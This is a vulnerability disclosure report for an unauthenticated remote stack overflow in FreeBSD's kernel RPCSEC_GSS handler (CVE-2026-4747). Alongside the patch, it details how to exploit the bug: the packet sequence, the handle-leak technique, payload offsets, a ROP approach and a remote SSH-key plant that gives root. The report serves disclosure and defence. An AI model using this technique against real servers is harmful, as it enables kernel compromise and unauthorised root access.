ANT-2026-MVVACQKN · freebsd/freebsd-src

stack-buffer-overflow high

CVE-2026-4747

Severity Claude high · Security research firm - · Maintainer high

REPORT

Anthropic's analysis of this finding, sealed at approval.

ANT-2026-MVVACQKN: Unauthenticated remote code execution via svc_rpc_gss_validate stack overflow

svc_rpc_gss_validate() in the FreeBSD kernel RPCSEC_GSS implementation serialises the RPC header into a fixed 128-byte stack array (int32_t rpchdr[32]), writes 32 bytes of XDR fields, then memcpy's the raw on-wire credential body (oa->oa_base, oa->oa_length) into the remaining 96 bytes. xdr_callmsg() bounds oa_length only by MAX_AUTH_BYTES (400), so an attacker can overflow rpchdr by 304 fully-controlled bytes before any MIC verification occurs. Because rpchdr is int32_t[] rather than char[], plain -fstack-protector emits no canary, and the epilogue pops rbx/r12-r15/rbp and rets directly into attacker data. An unauthenticated network attacker who can reach port 2049 on a server with kgssapi.ko loaded first sends an RPCSEC_GSS_INIT to create a hash entry, then an RPCSEC_GSS_DATA with a 400-byte credential whose first 36 bytes satisfy xdr_rpc_gss_cred() and whose remaining 364 bytes carry a ROP chain. Working PoCs demonstrate a kernel crash, local nobody→root, and a fully remote root SSH-key plant on stock 14.4-RELEASE GENERIC.

Target

Project: freebsd/freebsd-src
Version: FreeBSD 8.0 - 14.4-RELEASE, releng/13.5, stable/14, stable/15, main
Location: svc_rpc_gss_validate() in sys/rpc/rpcsec_gss/svc_rpcsec_gss.c

Technical Details

The root cause is that rpchdr is hard-coded to 128 bytes while the function writes 8*4 bytes of header plus up to MAX_AUTH_BYTES (400) of credential body into it, with no bounds check on the memcpy. The crash confirms direct control of saved callee-save registers and frame pointer: "Fatal trap 9: general protection fault while in kernel mode ... frame pointer = 0x28:0x4141414141414141 ... rbx/r12-r15/rbp: 4141414141414141", i.e. the return path pops attacker bytes straight off the clobbered stack and ret transfers control to attacker-chosen addresses.

Crash trace:

Fatal trap 9: general protection fault while in kernel mode
instruction pointer = 0x20:0xffffffff8282ecc0    <- the ret insn
frame pointer       = 0x28:0x4141414141414141
rbx: 4141414141414141  r12: 4141414141414141
r13: 4141414141414141  r14: 4141414141414141
r15: 4141414141414141  rbp: 4141414141414141

Reproduction

  1. TCP-connect to port 2049.
  2. Send RPC CALL (prog=100003, vers=3, NULLPROC) with cred.flavor=RPCSEC_GSS, cred.len=20, gc_proc=RPCSEC_GSS_INIT, gc_handle_len=0, verf=AUTH_NULL, empty token — svc_rpc_gss_create_client() inserts a CLIENT_NEW entry into the hash with a predictable {hostid, boottime, sequential ci_id} handle and a 5-minute expiry, even though accept_sec_context() fails.
  3. Send RPC CALL with cred.flavor=RPCSEC_GSS, cred.len=400: first 36 bytes encode {gc_version=1, gc_proc=RPCSEC_GSS_DATA, gc_seq=1, gc_svc=1, gc_handle_len=16, gc_handle={hostid, boottime, ci_id}}, remaining 364 bytes are payload; verf=RPCSEC_GSS with garbage MIC.
  4. svc_rpc_gss_find_client() matches the handle, replay check passes (cl_seqlast=0 < gc_seq=1), svc_rpc_gss_validate() writes 32 header bytes then memcpy's all 400 credential bytes into rpchdr+32; gss_verify_mic() on the NULL cl_ctx returns GSS_S_NO_CONTEXT cleanly.
  5. Function epilogue pops rbx, r12-r15, rbp from credential bytes 152-199 and ret pops byte 200 as RIP; bytes 208-399 form the ROP stack.
  6. ROP chain either zeroes the caller's cr_uid/cr_ruid (local PoC) or, across six INIT+DATA pairs, stages a path/key/iovec/uio blob into prison0.pr_path via a stosq gadget and then calls kern_openat()+kern_writev() with &thread0_st to append an SSH key to /root/.ssh/authorized_keys (remote PoC).

[No reproducer or sanitizer output attached — request from security-cvd@anthropic.com if needed.]

Suggested Fix

Enlarge rpchdr to hold the maximum possible write: int32_t rpchdr[(8*BYTES_PER_XDR_UNIT + RNDUP(MAX_AUTH_BYTES)) / sizeof(int32_t)]; apply the same change to the userland copy in lib/librpcsec_gss/svc_rpcsec_gss.c.

Acknowledgement

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-MVVACQKN.


Reference: ANT-2026-MVVACQKN
Anthropic CVD Policy: https://www.anthropic.com/coordinated-vulnerability-disclosure

TIMELINE

Dates from discovery through public reveal.

  1. 2026-03-19 Sent to maintainer
  2. 2026-03-19 Maintainer acknowledged
  3. 2026-03-25 Patch released
  4. 2026-05-14 Reported to tracker
  5. 2026-06-02 Publicly revealed
PROVENANCE

SHA-3-512 hash:

a70f894567778a93655d53636c3e2ab8632b78b010b9316f2e8367e8fc07af5e2a2991d837bcd6a7b95496ebc4fe0e7626306191585adc700b5e9b49774d078b

Committed 2026-03-20 06:19 PT

Revealed 2026-06-02 11:00 PT

Verify (download preimage.json)

Show preimage JSON
{
  "ant_id": "ANT-2026-MVVACQKN",
  "bug_class": "Stack Buffer Overflow",
  "claude_severity": "high",
  "commit_sha": null,
  "created_at": "2026-05-14T22:41:39+00:00",
  "description": "svc_rpc_gss_validate() in the FreeBSD kernel RPCSEC_GSS implementation serialises the RPC header into a fixed 128-byte stack array (int32_t rpchdr[32]), writes 32 bytes of XDR fields, then memcpy's the raw on-wire credential body (oa->oa_base, oa->oa_length) into the remaining 96 bytes. xdr_callmsg() bounds oa_length only by MAX_AUTH_BYTES (400), so an attacker can overflow rpchdr by 304 fully-controlled bytes before any MIC verification occurs. Because rpchdr is int32_t[] rather than char[], plain -fstack-protector emits no canary, and the epilogue pops rbx/r12-r15/rbp and rets directly into attacker data. An unauthenticated network attacker who can reach port 2049 on a server with kgssapi.ko loaded first sends an RPCSEC_GSS_INIT to create a hash entry, then an RPCSEC_GSS_DATA with a 400-byte credential whose first 36 bytes satisfy xdr_rpc_gss_cred() and whose remaining 364 bytes carry a ROP chain. Working PoCs demonstrate a kernel crash, local nobody→root, and a fully remote root SSH-key plant on stock 14.4-RELEASE GENERIC.",
  "discovered_at": "2026-03-20T13:19:42+00:00",
  "location": "svc_rpc_gss_validate() in sys/rpc/rpcsec_gss/svc_rpcsec_gss.c",
  "poc_sha256": null,
  "preimage_version": 1,
  "project": "freebsd/freebsd-src",
  "reproduction": [
    "1. TCP-connect to port 2049.",
    "2. Send RPC CALL (prog=100003, vers=3, NULLPROC) with cred.flavor=RPCSEC_GSS, cred.len=20, gc_proc=RPCSEC_GSS_INIT, gc_handle_len=0, verf=AUTH_NULL, empty token — svc_rpc_gss_create_client() inserts a CLIENT_NEW entry into the hash with a predictable {hostid, boottime, sequential ci_id} handle and a 5-minute expiry, even though accept_sec_context() fails.",
    "3. Send RPC CALL with cred.flavor=RPCSEC_GSS, cred.len=400: first 36 bytes encode {gc_version=1, gc_proc=RPCSEC_GSS_DATA, gc_seq=1, gc_svc=1, gc_handle_len=16, gc_handle={hostid, boottime, ci_id}}, remaining 364 bytes are payload; verf=RPCSEC_GSS with garbage MIC.",
    "4. svc_rpc_gss_find_client() matches the handle, replay check passes (cl_seqlast=0 < gc_seq=1), svc_rpc_gss_validate() writes 32 header bytes then memcpy's all 400 credential bytes into rpchdr+32; gss_verify_mic() on the NULL cl_ctx returns GSS_S_NO_CONTEXT cleanly.",
    "5. Function epilogue pops rbx, r12-r15, rbp from credential bytes 152-199 and ret pops byte 200 as RIP; bytes 208-399 form the ROP stack.",
    "6. ROP chain either zeroes the caller's cr_uid/cr_ruid (local PoC) or, across six INIT+DATA pairs, stages a path/key/iovec/uio blob into prison0.pr_path via a stosq gadget and then calls kern_openat()+kern_writev() with &thread0_st to append an SSH key to /root/.ssh/authorized_keys (remote PoC)."
  ],
  "technical_details": "Subject: Remote code execution via svc_rpc_gss_validate stack overflow\n\nHi --\n\nI've found a pre-authentication, remote kernel stack buffer overflow\n\nin the FreeBSD in-kernel RPCSEC_GSS authenticator that yields direct\n\ninstruction-pointer control on production kernels. This vulnerability\n\nrequires the non-standard kgssapi.ko module is loaded. I've attached\n\nPoC files that show how an unauthenticated network attacker who can\n\nreach an NFS server can append arbitrary data to authorized_keys and\n\nthen log in as root. (It has full kernel ROP; I just choose to do\n\nthis.)\n\nAgain, I used an LLM to find this bug, but I validated the bug myself\n\nand wrote this email and believe everything in it to be correct. I've\n\nreproduced the end-to-end remote-root exploit on a fresh machine with\n\nthe attached PoCs.\n\n(Even still: I'm pretty paranoid that I've missed something obvious.\n\nThis looks like a 17 year old stack buffer overflow that doesn't\n\nrequire any fancy tricks to reach and gives direct code execution in\n\nkernel memory, and this feels like something that would have been\n\ncaught. I'm like 99% sure I'm right but I feel a bit uneasy here.)\n\nThe vulnerable function is svc_rpc_gss_validate() in\n\nsys/rpc/rpcsec_gss/svc_rpcsec_gss.c. It declares a 128-byte stack\n\nbuffer for serialising the RPC header for MIC verification:\n\n    int32_t   rpchdr[128 / sizeof(int32_t)];\n\n    int32_t  *buf;\n\n    ...\n\n    buf = rpchdr;\n\n    IXDR_PUT_LONG(buf, msg->rm_xid);             //  +4\n\n    IXDR_PUT_ENUM(buf, msg->rm_direction);       //  +4\n\n    IXDR_PUT_LONG(buf, msg->rm_call.cb_rpcvers); //  +4\n\n    IXDR_PUT_LONG(buf, msg->rm_call.cb_prog);    //  +4\n\n    IXDR_PUT_LONG(buf, msg->rm_call.cb_vers);    //  +4\n\n    IXDR_PUT_LONG(buf, msg->rm_call.cb_proc);    //  +4\n\n    oa = &msg->rm_call.cb_cred;\n\n    IXDR_PUT_ENUM(buf, oa->oa_flavor);           //  +4\n\n    IXDR_PUT_LONG(buf, oa->oa_length);           //  +4  -> buf = rpchdr+32\n\n    if (oa->oa_length) {\n\n        memcpy((caddr_t)buf, oa->oa_base, oa->oa_length);  // <<< bug\n\n        ...\n\n    }\n\nThe memcpy source (oa->oa_base) and length (oa->oa_length) are the raw\n\ncredential body and length from the wire, as decoded by xdr_callmsg(),\n\nwhose only bound is MAX_AUTH_BYTES:\n\n    // sys/rpc/rpc_callmsg.c, XDR_DECODE path\n\n    oa->oa_length = (u_int)IXDR_GET_UINT32(buf);\n\n    if (oa->oa_length) {\n\n        if (oa->oa_length > MAX_AUTH_BYTES) {   // MAX_AUTH_BYTES = 400\n\n            return (FALSE);\n\n        }\n\n        ...\n\n    }\n\nAfter the eight IXDR_PUT_* operations, buf points 32 bytes into the\n\n128-byte buffer, leaving 96 bytes left. With oa_length = 400, the\n\nmemcpy overruns rpchdr by 400 - 96 = 304 bytes of fully\n\nattacker-controlled data. No verification happens *before* this\n\nmemcpy; gss_verify_mic() is called a few lines later, after the\n\noverflow.\n\nWhat makes this bug unusually exploitable on production kernels is the\n\n(lack of a) stack protector story. The kernel build uses plain\n\n-fstack-protector (not -strong). Plain SSP instruments only functions\n\nthat contain char arrays, but rpchdr is declared int32_t[32], so the\n\ncompiler emits no canary. The function's epilogue is a straight pop of\n\nthe five callee-save registers and rbp and then ret. Running the\n\nattached crasher (which fills bytes 36-399 of the credential body with\n\n0x41) against an unmodified 14.4-RELEASE GENERIC kernel gives:\n\n    Fatal trap 9: general protection fault while in kernel mode\n\n    instruction pointer = 0x20:0xffffffff8282ecc0    <- the ret insn\n\n    frame pointer       = 0x28:0x4141414141414141\n\n    rbx: 4141414141414141  r12: 4141414141414141\n\n    r13: 4141414141414141  r14: 4141414141414141\n\n    r15: 4141414141414141  rbp: 4141414141414141\n\nTo reach the vulnerable memcpy, the incoming request must have gc_proc\n\n== RPCSEC_GSS_DATA and a 16-byte gc_handle that matches a live entry\n\nin the server's client hash. The attacker creates that entry\n\nthemselves by first sending an RPCSEC_GSS_INIT request: the server's\n\nsvc_rpc_gss_create_client() allocates a fresh entry, inserts it into\n\nthe hash, and only then calls accept_sec_context(), which fails (no\n\nvalid token, no service principal) ... but the entry is already there\n\nand stays for a five-minute timeout. The handle is {kern.hostid,\n\nkern.boottime, next_sequential_counter}. This means a local\n\nunprivileged user can just read the first two via world-readable\n\nsysctl and knows the counter starts at 1 after the first INIT on a\n\nfresh boot; a remote attacker must guess kern.hostid and so this is\n\nsomewhat mitigating. But this is 32 bits coming from the first four\n\nbytes of md5 of the host UUID, which is seeded from smbios.system.uuid\n\non first boot and persisted in /etc/hostid.\n\nIf NFSv4 is enabled on the target, both fields are leakable with one\n\nmore RPC. The NFSv4.1 EXCHANGE_ID has server_owner.so_major_id which\n\nis populated by default with kern.hostuuid---the full UUID string,\n\nfrom which kern.hostid is simply the first four bytes of its md5; and\n\nthe first four bytes of the returned clientid are nfsrvboottime, the\n\nwall-clock second when nfsd last started, which on a boot-started nfsd\n\nis within a few tens of seconds of kern.boottime. EXCHANGE_ID is a\n\nclient-state operation that runs before export-list checks, so it's\n\nreachable with AUTH_SYS from any TCP connection to port 2049. I've\n\nattached rpcgss-leak.c which sends one EXCHANGE_ID and prints both\n\nvalues. With NFSv4 enabled, the attack is fully remote with no\n\nguessing.\n\nBecause the kernel's xdr_rpc_gss_cred() consumes only the first 36\n\nbytes of the credential body (the five fixed fields plus the 16-byte\n\nhandle) and ignores the remainder, the attacker can construct a\n\n400-byte body whose first 36 bytes pass XDR decoding and whose\n\nremaining 364 bytes are arbitrarily malicious. All 400 bytes are then\n\nmemcpy'd into the 96-byte tail of rpchdr.\n\nI've attached four PoCs, all tested on the stock 14.4-RELEASE GENERIC\n\nqcow2 from download.freebsd.org:\n\n  - crasher-rpcgss.c: two-packet minimal trigger, fills the credential\n\n    with 0x41, produces the production-kernel GP fault above.\n\n  - lpe-rpcgss.c: local nobody-to-root. Reads ki_paddr (the exploit\n\n    process's own struct proc*) via sysctl KERN_PROC_PID, and the handle\n\n    fields via kern.hostid/kern.boottime, and then sends one INIT and one\n\n    DATA with a 16-qword ROP chain that zeroes the exploit process's own\n\n    cr_uid/cr_ruid. This chain drops a root shell.\n\n  - rpcgss-fast.c: remote SSH-key plant with no prior account on the\n\n    target. Given the target's hostid and boottime, this chain appends the\n\n    attacker's ssh pubkey to /root/.ssh/authorized_keys. It takes six\n\n    INIT+DATA pairs total: five staging packets each write five qwords\n\n    of a 192-byte blob (path string, key string, struct iovec, struct\n\n    uio) to prison0.pr_path (a 1024-byte char array in kernel .data\n\n    at a fixed address) using the stosq; pop rbp; ret gadget, and\n\n    terminate with kthread_exit() (clean nfsd-thread teardown); the\n\n    sixth packet is a 24-qword ROP chain that calls\n\n    kern_openat(&thread0, AT_FDCWD, path, UIO_SYSSPACE,\n\n    O_WRONLY|O_APPEND, -) and then kern_writev(&thread0, fd, &uio).\n\n    thread0_st is the bootstrap thread statically allocated in .bss,\n\n    so its address is a release constant; it has a valid root\n\n    td_ucred, a valid td_proc (proc0), and a working fd table, and\n\n    passing it as the struct thread* sidesteps the lack of a clean\n\n    curthread->rdi gadget. I tested this end-to-end from a Linux host to a\n\n    FreeBSD VM to verify ssh -i key root@target gives a root shell.\n\n  - rpcgss-leak.c: leaks kern.hostuuid (and therefore kern.hostid via md5)\n\n    and nfsrvboottime (upper bound on kern.boottime) via one NFSv4.1\n\n    EXCHANGE_ID. Requires NFSv4 enabled on the target.\n\nI think the best fix is to make the buffer large enough for what the\n\nfunction actually writes into it:\n\n--- sys/rpc/rpcsec_gss/svc_rpcsec_gss.c\n\n+++ sys/rpc/rpcsec_gss/svc_rpcsec_gss.c\n\n@@ svc_rpc_gss_validate @@\n\n-       int32_t                  rpchdr[128 / sizeof(int32_t)];\n\n+       int32_t                  rpchdr[(8*BYTES_PER_XDR_UNIT +\n\n+                                        RNDUP(MAX_AUTH_BYTES)) /\n\nsizeof(int32_t)];\n\nThe same undersized declaration exists in the userland copy in\n\nlib/librpcsec_gss/svc_rpcsec_gss.c, and I think should be fixed at the\n\nsame time.\n\nThe bug appears to have been introduced in a9148abd9da5 (2008-11-03,\n\nthe initial kernel RPCSEC_GSS implementation) and first shipped in\n\nFreeBSD 8.0. I've checked the 128-byte buffer is present unchanged on\n\nmain, stable/15, stable/14, releng/14.4, and releng/13.5.\n\nI think that vfs.nfsd.nfs_privport defaults to 0 on 12.x through 14.x\n\nand stable/14 (it was flipped to 1 on main and MFC'd to stable/15), so\n\non the current 14.4 release any TCP connection to port 2049 from any\n\nsource port reaches the code.\n\nHappy to provide more detail, or answer any other questions.\n\nNicholas\n\nAppendix:\n\nTo be very explicit about the trigger, since all PoCs share it:\n\n  1.  TCP-connect to port 2049.\n\n  2.  Send RPC CALL: xid=anything, CALL, rpcvers=2, prog=100003,\n\n      vers=3, proc=NULLPROC, cred.flavor=RPCSEC_GSS, cred.len=20,\n\n      {gc_version=1, gc_proc=RPCSEC_GSS_INIT, gc_seq=0, gc_svc=1,\n\n      gc_handle_len=0}, verf=AUTH_NULL, args=token.len=0.\n\n      svc_rpc_gss_create_client() allocates a struct svc_rpc_gss_client\n\n      with ci_id = the server's next sequential counter value, inserts\n\n      it into the per-vnet hash, sets cl_expiration = now + 5*60,\n\n      cl_state = CLIENT_NEW.  accept_sec_context fails; the entry stays.\n\n  3.  Send RPC CALL: cred.flavor=RPCSEC_GSS, cred.len=400, credential\n\n      body = {gc_version=1, gc_proc=RPCSEC_GSS_DATA, gc_seq=1,\n\n      gc_svc=1, gc_handle_len=16, gc_handle = 16 raw bytes\n\n      {8-byte LE kern.hostid}{4-byte LE boottime}{4-byte LE ci_id}}\n\n      followed by 364 arbitrary bytes (the payload), verf=RPCSEC_GSS\n\n      with a garbage MIC.\n\n  4.  svc_rpc_gss_find_client() matches the 16-byte handle against the\n\n      entry's (server-assigned) {hostid, boottime, ci_id}, acquires a\n\n      ref, returns it.  svc_rpc_gss_check_replay() passes: cl_seqlast\n\n      is 0, gc_seq is 1.  svc_rpc_gss_validate() writes 32 bytes of\n\n      XDR header to rpchdr then memcpy's the full 400-byte credential\n\n      body into rpchdr+32.  gss_verify_mic() is called on the (freshly\n\n      clobbered) frame with the CLIENT_NEW entry's NULL cl_ctx; it\n\n      returns GSS_S_NO_CONTEXT cleanly.  cl_state is set to\n\n      CLIENT_STALE.  The function epilogue pops rbx, r12-r15, and\n\n      rbp from bytes 152-199 of the credential body,\n\n      then ret pops byte 200 as the return address.  rsp is now at\n\n      byte 208, and bytes 208-399 are the ROP stack.\n\nReproduction steps (from a Linux host; tested end-to-end):\n\n  # 1. get the stock image\n\n  curl -LO https://download.freebsd.org/releases/VM-IMAGES/14.4-RELEASE/amd64/Latest/FreeBSD-14.4-RELEASE-amd64-ufs.qcow2.xz\n\n  xz -d FreeBSD-14.4-RELEASE-amd64-ufs.qcow2.xz\n\n  # 2. boot with port 2049 forwarded\n\n  #    (no-KVM variant: replace -accel kvm -cpu host with -accel tcg\n\n-cpu qemu64)\n\n  qemu-system-x86_64 -machine q35 -accel kvm -cpu host -smp 2 -m 4096 \\\n\n    -snapshot -drive file=FreeBSD-14.4-RELEASE-amd64-ufs.qcow2,if=virtio \\\n\n    -netdev user,id=n0,hostfwd=tcp:127.0.0.1:10144-:22,hostfwd=tcp:127.0.0.1:12049-:2049\n\n\\\n\n    -device virtio-net,netdev=n0 -display curses -vga std\n\n  # 3. at login: on the guest, log in as root (empty password).\n\n  #    set up the standard Kerberized-NFS service and enable ssh:\n\n  echo '/ -ro -network 0.0.0.0 -mask 0.0.0.0' > /etc/exports\n\n  gssd          # auto-kldloads kgssapi.ko\n\n  service nfsd onestart\n\n  mkdir -p /root/.ssh; : > /root/.ssh/authorized_keys\n\n  chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys\n\n  echo 'PermitRootLogin yes' >> /etc/ssh/sshd_config\n\n  service sshd onestart\n\n  # note the handle fields:\n\n  sysctl -n kern.hostid       # HOSTID (decimal)\n\n  sysctl -n kern.boottime     # BOOTTIME is the sec= value\n\n  # 4. on the host, build and fire\n\n  cc -o rpcgss-fast rpcgss-fast.c\n\n  ssh-keygen -t ed25519 -f /tmp/k -N '' -C x\n\n  NFS_PORT=12049 ./rpcgss-fast 127.0.0.1 <HOSTID> <BOOTTIME> \"$(cat /tmp/k.pub)\"\n\n  # [*] stage 0..4  -- writes path/key/iovec/uio to prison0.pr_path\n\n  # [*] exec        -- kern_openat + kern_writev\n\n  # 5. ssh in as root\n\n  ssh -i /tmp/k -p 10144 root@localhost\n\n  # uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)",
  "title": "Unauthenticated remote code execution via svc_rpc_gss_validate stack overflow",
  "vendor_severity": null
}